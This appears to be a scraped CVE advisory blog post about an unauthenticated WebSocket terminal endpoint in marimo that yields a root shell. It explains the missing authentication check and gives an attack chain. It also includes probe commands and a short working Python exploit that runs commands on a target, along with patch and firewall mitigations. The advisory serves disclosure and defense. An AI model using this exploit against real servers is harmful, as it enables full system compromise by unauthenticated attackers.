Listen to this Post
How the CVE Works:
The vulnerability resides in the `/terminal/ws` WebSocket endpoint, which completely lacks authentication validation. Unlike other endpoints such as `/ws` that call validate_auth(), the terminal endpoint only checks the running mode and platform support before accepting connections.
The issue originates in marimo/_server/api/endpoints/terminal.py, lines 340‑356, where `websocket.accept()` is called without any prior authentication. In contrast, the `/ws` endpoint in ws_endpoint.py, lines 67‑82, correctly uses WebSocketConnectionValidator.validate_auth().
Marimo uses Starlette’s AuthenticationMiddleware, which marks unauthenticated users as `UnauthenticatedUser` but does not actively reject WebSocket connections. The actual enforcement depends on `@requires()` decorators or explicit `validate_auth()` calls – neither of which are present for /terminal/ws.
Attack chain:
1. Attacker connects to `ws://TARGET:2718/terminal/ws` (no authentication required).
2. `websocket.accept()` accepts the connection immediately.
3. `pty.fork()` creates a PTY child process, providing an interactive shell.
4. The attacker can execute arbitrary system commands.
In default Docker deployments, commands run as root. A single WebSocket connection yields a complete interactive shell, allowing full system compromise.
DailyCVE Form:
Platform: ……. marimo
Version: …….. <=0.20.4
Vulnerability :…… Pre-Auth RCE
Severity: ……. Critical
date: ………. 2026-04-08
Prediction: include expected Patch date. 2026-04-15
Analytics under What Undercode Say:
Check if the vulnerable endpoint is exposed
curl -s -o /dev/null -w "%{http_code}" http://TARGET:2718/terminal/ws
Use websocat to test the WebSocket connection
websocat ws://TARGET:2718/terminal/ws -v
Python script to verify authentication bypass
python3 -c "import websocket; ws = websocket.WebSocket(); ws.connect('ws://TARGET:2718/terminal/ws'); ws.send('id\n'); print(ws.recv())"
Exploit:
import websocket
import time
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
Execute command
ws.send('id\n')
time.sleep(2)
print(ws.recv()) uid=0(root) gid=0(root) groups=0(root)
ws.close()
Protection from this CVE:
- Upgrade to marimo version 0.23.0 or later, where the endpoint requires authentication.
- If upgrading is not possible, disable the terminal functionality entirely via configuration.
- Apply a network‑level firewall rule to block access to the WebSocket endpoint from untrusted sources.
Impact:
Unauthenticated attackers gain an interactive root shell, leading to complete server compromise, data exfiltration, and lateral movement within the network. No user interaction or authentication token is required.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

